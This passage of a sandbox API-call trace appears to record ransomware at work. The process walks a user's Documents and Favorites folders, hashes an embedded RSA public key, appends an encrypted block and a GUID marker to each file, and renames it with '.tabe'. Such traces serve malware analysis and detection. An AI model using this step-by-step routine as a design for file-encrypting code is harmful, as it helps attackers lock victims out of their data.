HALPmcxz\\Documents\\wbRZ\\KTYuqOmFily7OS.pps.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\ktyuqomfily7os.pps.tabe")) returned 1 [0126.922] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e0f9850, ftCreationTime.dwHighDateTime=0x1d5da14, ftLastAccessTime.dwLowDateTime=0x30fecda0, ftLastAccessTime.dwHighDateTime=0x1d5e023, ftLastWriteTime.dwLowDateTime=0x30fecda0, ftLastWriteTime.dwHighDateTime=0x1d5e023, nFileSizeHigh=0x0, nFileSizeLow=0x198d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="nme4fefh0xv.odp", cAlternateFileName="NME4FE~1.ODP")) returned 1 [0126.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\nme4fefh0xv.odp") returned=".odp" [0126.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\nme4fefh0xv.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\nme4fefh0xv.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.923] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=6541) returned 1 [0126.923] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.924] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1967, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.924] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.925] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x198d, lpOverlapped=0x0) returned 1 [0126.929] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.929] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.929] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.929] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.930] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.930] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.930] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.930] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.930] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.930] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.930] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.930] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.930] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.930] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.930] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x198d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.930] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.931] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.931] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.931] CloseHandle (hObject=0x618) returned 1 [0126.932] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\nme4fefh0xv.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\nme4fefh0xv.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\nme4fefh0xv.odp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\nme4fefh0xv.odp.tabe")) returned 1 [0126.933] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e934a30, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x9aa57ec0, ftLastAccessTime.dwHighDateTime=0x1d5dfa6, ftLastWriteTime.dwLowDateTime=0x9aa57ec0, ftLastWriteTime.dwHighDateTime=0x1d5dfa6, nFileSizeHigh=0x0, nFileSizeLow=0x82f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="uueFH6wuLMIE.pptx", cAlternateFileName="UUEFH6~1.PPT")) returned 1 [0126.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\uueFH6wuLMIE.pptx") returned=".pptx" [0126.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\uueFH6wuLMIE.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\uuefh6wulmie.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.934] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=33526) returned 1 [0126.934] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.935] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x82d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.935] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.937] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x82f6, lpOverlapped=0x0) returned 1 [0126.937] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.937] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.937] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.937] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.938] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.938] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.938] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.938] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.938] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.938] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.938] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.939] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.939] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.939] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.939] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x82f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.939] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.939] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.939] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.939] CloseHandle (hObject=0x618) returned 1 [0126.940] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\uueFH6wuLMIE.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\uuefh6wulmie.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\uueFH6wuLMIE.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\uuefh6wulmie.pptx.tabe")) returned 1 [0126.942] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e934a30, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x9aa57ec0, ftLastAccessTime.dwHighDateTime=0x1d5dfa6, ftLastWriteTime.dwLowDateTime=0x9aa57ec0, ftLastWriteTime.dwHighDateTime=0x1d5dfa6, nFileSizeHigh=0x0, nFileSizeLow=0x82f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="uueFH6wuLMIE.pptx", cAlternateFileName="UUEFH6~1.PPT")) returned 0 [0126.942] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.942] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.942] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.942] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0126.942] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0126.942] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.942] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.942] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.942] PathFindFileNameW (pszPath="") returned="" [0126.942] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.942] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.942] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0126.942] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0126.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0126.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.943] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=236) returned 1 [0126.943] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.944] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.944] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.945] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xec, lpOverlapped=0x0) returned 1 [0126.945] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.945] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.945] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.945] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.946] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.946] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.946] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.946] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.946] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.946] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.946] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.946] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.946] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.946] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.947] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.947] WriteFile (in: hFile=0x618, lpBuffer=0x344a040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x344a040*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.947] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.947] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.947] CloseHandle (hObject=0x618) returned 1 [0126.948] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.tabe")) returned 1 [0126.949] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0126.950] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0126.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, 